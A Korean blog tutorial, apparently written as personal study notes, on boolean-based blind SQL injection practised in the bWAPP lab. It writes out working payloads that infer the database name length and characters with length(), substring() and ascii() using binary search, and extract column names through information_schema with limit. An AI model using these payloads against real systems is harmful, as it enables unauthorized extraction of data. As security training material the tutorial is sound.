blind SQL 인젝션은 예 아니요로만 심문을 하는 것이라고 비유할 수 있다.
오직 '예' '아니요' 로만을 통해서 계속 추측을 해 나가야 한다.
bWAPP오로 실습을 진행 하며
SQL injection - Blind-Boolean-Based으로 진행을 한다
먼저 싱글쿼터만 입력을 해 전송을 해보니
어떠한 결과값이 나온 것이 아닌 에러가 났다.
입력 값이 참일 경우 영화가 디비에 존재한다는 결과가 나왔다
입력 값이 거짓인 경우 영화가 존재하지 않는다는 결과가 나왔다.
이전 게시물 https://adm1n1.tistory.com/93 에서도 말했듯이 칼럼 갯수를 알아내는 방법은 일일히 하나 씩 대입해서
참인 결과값을 찾는 수 밖에 없다
데이터베이스의 이름을 알아 볼것이다.
' or 1=1 and length(database())=1#
length를 이용하여 데이터베이스 이름 글자수를 알아 맞추는 것인데 한 글자라고 하니 거짓인 결과가 나왔다.
' or 1=1 and length(database())=5#
데이터베이스 이름 5 글자인가 ?
-> 참
몇글자인지 알아 냈으면 이름을 맞추면 된다.
substring()을 이용할것이다. 참고로 substr() 라고 써도 된다.
디비명, 테이블 명,컬럼명등을 한글자씩 비교해가면서 혹은 글자수 길이를 알아내서 맞춰낼수 있다.
' or 1=1 and substring(database(),1,1)='a'#
데이터베이스 첫번째글자 하나만 추출을 하는데 그게 ‘a’ 인가 ?
-> 거짓
' or 1=1 and substring(database(),1,1)='b'#
데이터베이스 첫번째글자 하나만 추출을 하는데 그게 ‘b’ 인가 ?
-> 참
이런식으로 한글자씩 맞추는 방법도 있겠지만
만약에 4글자인데 최악에 경우에 수는 26x4인 104개의 경우의 수가 나올수도 있다
하지만
아스키코드를 이용하면 경우의수를 확 줄일수 있다.
' or 1=1 and ascii(substring(database(),1,1))=98#
근데 문자로 일일히 검색할때는 대소문자를 구분을 안하는데 아스키로 하면 대소문자 구분을 한다.
아스키 코드를 이용하여 숫자로 크기를 비교해서 60보다 크다면 100을 비교해보고 100보다 작다면 90을 비교해보고 이런식으로 하면 범위를 한번에 줄일수 있다.
2진 탐색 알고리즘을 이용해서 범위에서 가운데숫자랑 비교해보고 나온 범위에 가운데숫자 랑 비교하고 이런식으로 하면 금방 찾을수 있다.
imit함수는 시작 인덱스가 0부터 이며
테이블에서 행(가로)을 뽑아내는 기능을 가졌다
limit ( [시작위치],[몇개])
그래서 테이블에서 컬럼 정보를 가져올때 사용을 해볼것이다.
0' or 1=1 and length((select column_name from information_schema.columns where table_name='heroes' limit 0,1))=2#
컬럼의 이름 글자수가 두개인가 ?
→ 참
0' or 1=1 and substring((select column_name from information_schema.columns where table_name='heroes' limit 0,1),1,1)='i'#
첫 글자가 i로 시작하는가 ?
→ 참
sqlmap으로 자동으로 할수 있지만 실무에서 자동화툴 돌렸다가 네트워크 장애가 생길수 있기 때문에
파이썬으로 직접 작성해서 sleep 함수를 넣어서 해서 과부화를 줄일수 있음
'보안 > 기초' 카테고리의 다른 글
burpsuite을 이용해 파일업로드취약점 확장자 명 우회 취약점 / burpsuite 문제점 (1) | 2024.01.27 |
---|---|
time base sql injection (0) | 2024.01.14 |
Error based SQL injection (0) | 2024.01.13 |
TCP vs UDP (0) | 2023.11.14 |
Bind shell 과 Reverse shell (0) | 2023.10.24 |